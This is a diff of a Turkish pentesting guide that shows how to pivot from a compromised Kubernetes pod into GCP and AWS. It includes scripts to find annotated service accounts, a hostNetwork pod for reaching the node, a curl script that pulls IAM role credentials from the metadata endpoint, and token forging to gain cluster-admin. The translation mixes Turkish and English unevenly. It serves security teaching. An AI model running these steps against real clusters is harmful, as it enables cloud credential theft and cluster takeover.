diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 345b12d69..e458a9b8d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Eğer GCP içinde bir k8s kümesi çalıştırıyorsanız, muhtemelen küme içinde çalışan bazı uygulamaların GCP'ye erişimi olmasını isteyeceksiniz. Bunu yapmanın 2 yaygın yolu vardır: +If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: -### GCP-SA anahtarlarını gizli olarak bağlama +### Mounting GCP-SA keys as secret -**Kubernetes uygulamasına GCP'ye erişim vermenin** yaygın bir yolu: +A common way to give **access to a kubernetes application to GCP** is to: -- Bir GCP Hizmet Hesabı oluşturun -- Üzerine istenen izinleri bağlayın -- Oluşturulan SA'nın bir json anahtarını indirin -- Bunu pod içinde bir gizli olarak bağlayın -- Json dosyasının bulunduğu yola işaret eden GOOGLE_APPLICATION_CREDENTIALS ortam değişkenini ayarlayın. +- GCP Service Account oluşturun +- Ona istenen izinleri atayın +- Oluşturulan SA için json anahtarını indirin +- Pod içinde bunu bir secret olarak mount edin +- GOOGLE_APPLICATION_CREDENTIALS environment variable'ını, json'un bulunduğu yolu gösterecek şekilde ayarlayın. > [!WARNING] -> Bu nedenle, bir **saldırgan** olarak, bir pod içindeki bir konteyneri ele geçirirseniz, bu **env** **değişkenini** ve GCP kimlik bilgileri ile **json** **dosyalarını** kontrol etmelisiniz. +> Bu nedenle, bir **attacker** olarak, eğer bir pod içindeki bir container'ı ele geçirirseniz, o **env** **variable** ve GCP kimlik bilgileri içeren **json** **dosyalar** için kontrol etmelisiniz. -### GSA json'unu KSA gizli ile ilişkilendirme +### Relating GSA json to KSA secret -Bir GSA'ya GKE kümesine erişim vermenin bir yolu, bunları şu şekilde bağlamaktır: +A way to give access to a GSA to a GKE cluser is by binding them in this way: -- Aşağıdaki komutu kullanarak GKE kümenizle aynı ad alanında bir Kubernetes hizmet hesabı oluşturun: +- Aşağıdaki komutu kullanarak GKE cluster'ınızla aynı namespace içinde bir Kubernetes service account oluşturun: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- GKE kümesine erişim vermek istediğiniz GCP hizmet hesabının kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu aşağıdaki örnekte gösterildiği gibi `gcloud` komut satırı aracıyla yapabilirsiniz: +- GKE cluster'a erişim vermek istediğiniz GCP service account'un kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu aşağıdaki örnekte gösterildiği gibi `gcloud` komut satırı aracıyla yapabilirsiniz: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Aşağıdaki komutu kullanarak Kubernetes Secret'ı Kubernetes hizmet hesabına bağlayın: +- Aşağıdaki komutu kullanarak Kubernetes Secret'ı Kubernetes service account'a bağlayın: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> **İkinci adımda**, **GSA'nın kimlik bilgileri KSA'nın sırrı olarak ayarlandı**. Eğer **GKE** kümesinin **içinden** bu **sırrı okuyabiliyorsanız**, o zaman **bu GCP hizmet hesabına yükseltebilirsiniz**. +> **İkinci adımda** **GSA'nın kimlik bilgileri KSA'nın secret'ı olarak ayarlandı**. Eğer **bu secret**'ı **GKE** kümesinin **içinden** okuyabilirseniz, **o GCP service account**'a yükseltebilirsiniz. -### GKE İş Yükü Kimliği +### GKE Workload Identity -İş Yükü Kimliği ile, bir [Kubernetes hizmet hesabını](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) [Google hizmet hesabı](https://cloud.google.com/iam/docs/understanding-service-accounts) olarak hareket edecek şekilde yapılandırabiliriz. Kubernetes hizmet hesabıyla çalışan Pod'lar, Google Cloud API'lerine erişirken otomatik olarak Google hizmet hesabı olarak kimlik doğrulaması yapacaktır. +Workload Identity ile bir[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)’u bir[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) olarak davranacak şekilde yapılandırabiliriz. Kubernetes service account ile çalışan pod'lar Google Cloud API'lerine erişirken otomatik olarak Google service account olarak kimlik doğrulaması yapar. -Bu davranışı etkinleştirmek için **ilk adımlar dizisi**, **GCP'de İş Yükü Kimliğini etkinleştirmek** ([**adımlar**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) ve k8s'nin taklit etmesini istediğiniz GCP SA'yı oluşturmaktır. +The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. -- Yeni bir kümede **İş Yükü Kimliğini etkinleştir** +- **Enable Workload Identity** on a new cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Yeni bir nodepool oluşturun/güncelleyin** (Autopilot kümeleri buna ihtiyaç duymaz) +- **Yeni bir nodepool oluştur/güncelle** (Autopilot clusters don't need this) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- K8s ile GCP izinlerine sahip **GCP Hizmet Hesabı oluşturun**. +- GCP izinlerine sahip K8s'ten **taklit edilecek GCP Service Account** oluşturun: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Küme** ile **bağlanın** ve kullanılacak **hizmet hesabını** **oluşturun** +- **Connect** yapıp **cluster**'a bağlanın ve kullanmak için **service account** **create** edin ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSA'yı KSA ile Bağlayın** +- **GSA'yi KSA ile bağla** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s içindeki bir saldırgan olarak, **`iam.gke.io/gcp-service-account` anotasyonuna** sahip **SAs'yi aramalısınız** çünkü bu, SA'nın GCP'de bir şeye erişebileceğini gösterir. Diğer bir seçenek, kümedeki her KSA'yı kötüye kullanmayı denemek ve erişimi olup olmadığını kontrol etmektir.\ -> GCP'den, bağlamaları listelemek ve **Kubernetes içindeki SAs'ye hangi erişimi verdiğinizi bilmek** her zaman ilginçtir. +> K8s içinde bir saldırgan olarak **SAs** içinde **`iam.gke.io/gcp-service-account` annotation** olanları **aramalısınız**, çünkü bu SA'nın GCP'de bir şeye erişebileceğini gösterir. Diğer bir seçenek, kümedeki her bir KSA'yı kötüye kullanmayı denemek ve erişimi olup olmadığını kontrol etmektir.\ +> GCP tarafında bindings'leri enumerate etmek ve **Kubernetes içindeki SAs'lara hangi erişimi verdiğinizi** bilmek her zaman ilginçtir. -Bu, o **anotasyonu** aramak için **tüm podların** tanımlarında kolayca **döngü yapmayı** sağlayan bir betiktir: +Bu, o **annotation**'ı **aramak** için kolayca **tüm pod tanımları üzerinde yineleme** yapan bir script: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (Podlar için IAM rolü) +### Kiam & Kube2IAM (IAM role for Pods) -Podlara IAM Rolleri vermenin (eski) bir yolu, bir [**Kiam**](https://github.com/uswitch/kiam) veya bir [**Kube2IAM**](https://github.com/jtblin/kube2iam) **sunucusu** kullanmaktır. Temelde, kümenizde **bir tür ayrıcalıklı IAM rolü** ile bir **daemonset** çalıştırmanız gerekecek. Bu daemonset, ihtiyaç duyan podlara IAM rolleri erişimi verecek olan olacaktır. +An (eskimiş) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **sunucu.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it. -Öncelikle, **hangi rollerin namespace içinde erişilebileceğini** yapılandırmanız gerekiyor ve bunu namespace nesnesi içinde bir açıklama ile yapıyorsunuz: +First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Bir kez IAM rolleri ile yapılandırıldığında, Pod'ların her bir pod tanımında **şu şekilde istediğiniz rolü belirtebilirsiniz**: +namespace, Pods için yapılandırılan IAM rolleri ile ayarlandıktan sonra, **her pod definition üzerinde istediğiniz rolü şu şekilde belirtebilirsiniz**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Bir saldırgan olarak, eğer pod'larda veya ad alanlarında veya çalışan bir kiam/kube2iam sunucusunda (muhtemelen kube-system'de) **bu notları bulursanız**, **pod'lar tarafından zaten kullanılan** her r**olü taklit edebilirsiniz** ve daha fazlası (AWS hesabınıza erişiminiz varsa rolleri listeleyin). +> Bir saldırgan olarak, eğer pods veya namespaces içinde ya da muhtemelen kube-system içinde çalışan bir kiam/kube2iam sunucusunda **bu anotasyonları bulursanız**, pods tarafından zaten kullanılan her role bürünebilir ve daha fazlasını yapabilirsiniz (AWS hesabına erişiminiz varsa rolleri listeleyin). -#### IAM Rolü ile Pod Oluştur +#### IAM Role ile Pod Oluşturma > [!NOTE] -> Belirtilen IAM rolü, kiam/kube2iam rolüyle aynı AWS hesabında olmalı ve o rol buna erişim sağlayabilmelidir. +> Belirtilecek IAM rolü, kiam/kube2iam rolü ile aynı AWS hesabında olmalı ve kiam/kube2iam rolünün bu role erişebilmesi gerekir. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Rolü için K8s Servis Hesapları OIDC Üzerinden +### OIDC aracılığıyla K8s Service Accounts için IAM Role -Bu, **AWS tarafından önerilen yoldur**. +Bu, **AWS tarafından önerilen yöntemdir**. -1. Öncelikle [küme için bir OIDC sağlayıcısı oluşturmanız gerekir](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Ardından, SA'nın ihtiyaç duyacağı izinlerle bir IAM rolü oluşturun. -3. IAM rolü ile SA arasında [bir güven ilişkisi oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) adı (veya rolü tüm namespace'lerin SAs'ına erişim sağlayacak namespace'ler). _Güven ilişkisi esasen OIDC sağlayıcı adı, namespace adı ve SA adını kontrol edecektir_. -4. Son olarak, **rolün ARN'sini belirten bir anotasyon ile bir SA oluşturun** ve o SA ile çalışan podlar **rolün token'ına erişime sahip olacaktır**. **Token**, **bir dosyaya yazılır** ve yol **`AWS_WEB_IDENTITY_TOKEN_FILE`** içinde belirtilir (varsayılan: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Öncelikle [küme için bir OIDC sağlayıcısı oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Sonra SA'nın ihtiyaç duyacağı izinlere sahip bir IAM role oluşturun. +3. [IAM role ile SA arasındaki trust relationship'i oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html); burada SA adını veya rolün namespace içindeki tüm SA'lara erişim vermesi için namespace'i belirtebilirsiniz. _Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol eder._ +4. Son olarak, **rolün ARN'sini gösteren bir annotation içeren bir SA oluşturun**, ve o SA ile çalışan pod'lar **rolün token'ına erişim sahibi olur**. **Token**, bir dosyaya **yazılır** ve yol **`AWS_WEB_IDENTITY_TOKEN_FILE`** ile belirtilir (varsayılan: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Bir saldırgan olarak, eğer bir K8s kümesini sayabiliyorsanız, **AWS'ye yükseltmek için o anotasyona sahip hizmet hesaplarını** kontrol edin. Bunu yapmak için, sadece bir IAM **yetkili hizmet hesabı** kullanarak bir **pod** **exec/create** edin ve token'ı ç steal. +> Bir saldırgan olarak, bir K8s cluster'ını enumerate edebiliyorsanız, **service accounts with that annotation**'ları **escalate to AWS** amacıyla kontrol edin. Bunu yapmak için IAM **privileged service accounts**'lardan biriyle bir **pod**'u **exec/create** edip token'ı çalın. > -> Ayrıca, bir pod'un içindeyseniz, **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN** gibi ortam değişkenlerini kontrol edin. +> Ayrıca, eğer bir pod içindeyseniz, env variables like **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN**'ı kontrol edin. > [!CAUTION] -> Bazen bir rolün **Güven Politikası** **kötü yapılandırılmış** olabilir ve beklenen hizmet hesabına AssumeRole erişimi vermek yerine **tüm hizmet hesaplarına** verir. Bu nedenle, kontrol edilen bir hizmet hesabında bir anotasyon yazma yeteneğiniz varsa, role erişebilirsiniz. +> Bazen bir **Turst Policy of a role** **bad configured** olabilir ve beklenen service account'a AssumeRole erişimi vermek yerine bunu **all the service accounts**'a verebilir. Bu nedenle, kontrolünüzdeki bir service account üzerine bir annotation yazabiliyorsanız, role erişebilirsiniz. > -> Daha fazla bilgi için **aşağıdaki sayfayı kontrol edin**: +> Check the **following page for more information**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Kümedeki IAM Rolleri ile SAs Bulun +### Cluster içinde IAM Roles olan Pods ve SAs'ı Bul -Bu, o **anotasyonu** aramak için **tüm podlar ve sas** tanımlarını kolayca **döngüye sokan** bir betiktir: +Bu, o **annotation**'ı aramak için tüm pods ve sas tanımlarında kolayca **iterate over the all the pods and sas** yapacak bir script'tir: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role ile cluster-admin -Önceki bölüm, IAM Rolleri'ni pod'larla nasıl çalacağınız hakkında idi, ancak K8s kümesinin bir **Node'unun bulut içinde bir **instance** olacağını unutmayın. Bu, Node'un **çalmaya değer yeni bir IAM rolüne sahip olma olasılığının yüksek olduğu** anlamına gelir (_genellikle bir K8s kümesinin tüm node'ları aynı IAM rolüne sahip olacağından, her node'u kontrol etmeye çalışmak çok da mantıklı olmayabilir_). +Önceki bölüm pods ile IAM Roles nasıl çalınacağını anlatıyordu, ancak bir K8s kümesinin **Node'u** bulut içinde bir **instance** olacaktır. Bu, Node'un büyük olasılıkla çalabileceğiniz bir **IAM role**'e sahip olacağı anlamına gelir (_genellikle bir K8s kümesindeki tüm düğümlerin aynı IAM role'e sahip olduğu unutulmamalıdır; bu yüzden her düğümü ayrı ayrı kontrol etmeye değmeyebilir_). -Ancak, node'dan metadata endpoint'ine erişmek için önemli bir gereklilik vardır, node'da olmanız (ssh oturumu?) veya en azından aynı ağda olmanız gerekir: +Node metadata endpoint'ine erişmek için şunlara ihtiyacınız var: +- Bir pod içinde olmak ve metadata endpoint'in en az 2 tcp hop üzerinden erişime izin verecek şekilde yapılandırılmış olması. Bu en yaygın yanlış yapılandırmadır; genellikle kümeyle ilişkili farklı pod'lar metadata endpoint'e erişim gerektirir ve birçok şirket tüm pod'lardan metadata endpoint'e erişime izin vermeyi seçer. +- `hostNetwork` etkinleştirilmiş bir pod içinde olmak. +- Node'a kaçıp metadata endpoint'e doğrudan erişmek. + +(Metadata endpoint'in her zamanki gibi 169.254.169.254 olduğunu unutmayın). + +Node'a **kaçmak** için `hostNetwork` etkinleştirilmiş bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### IAM Rolü Tokenunu Çal +### IAM Role Token'ını Çalma -Daha önce **IAM Rolleri Pod'lara nasıl eklenir** veya **örneğin bağlı olduğu IAM Rolünü çalmak için Node'a nasıl kaçılır** konularını tartıştık. +Daha önce, **attach IAM Roles to Pods** konusunu veya bir instance'a iliştirilmiş IAM Role'u çalmak için **escape to the Node to steal the IAM Role** yöntemini tartışmıştık. -Aşağıdaki scripti kullanarak **çalışarak elde ettiğiniz yeni IAM rolü kimlik bilgilerinizi çalabilirsiniz**: +Aşağıdaki script'i yeni emek vererek kazandığınız **IAM role credentials**'ı **steal** etmek için kullanabilirsiniz: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +Özetle: eğer bir pod'dan **EKS Node IAM role**'a erişim mümkünse, tüm **kubernetes cluster**'ı ele geçirmek mümkündür. + +Daha fazla bilgi için [this post](https://blog.calif.io/p/privilege-escalation-in-eks) bakın. Özet olarak, varsayılan olarak EKS node'larına atanan IAM rolü cluster içinde `system:node` rolüne sahiptir. Bu rol oldukça ilginçtir fakat kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) ile sınırlandırılmıştır. + +Bununla birlikte, node her zaman node içinde çalışan pod'lardaki service accounts için **generate tokens for service accounts** oluşturabilir. Yani, eğer node privileged service account'a sahip bir pod çalıştırıyorsa, node o service account için bir token oluşturup bu token'ı service account'ı taklit etmek için kullanabilir, örneğin: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## Referanslar - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)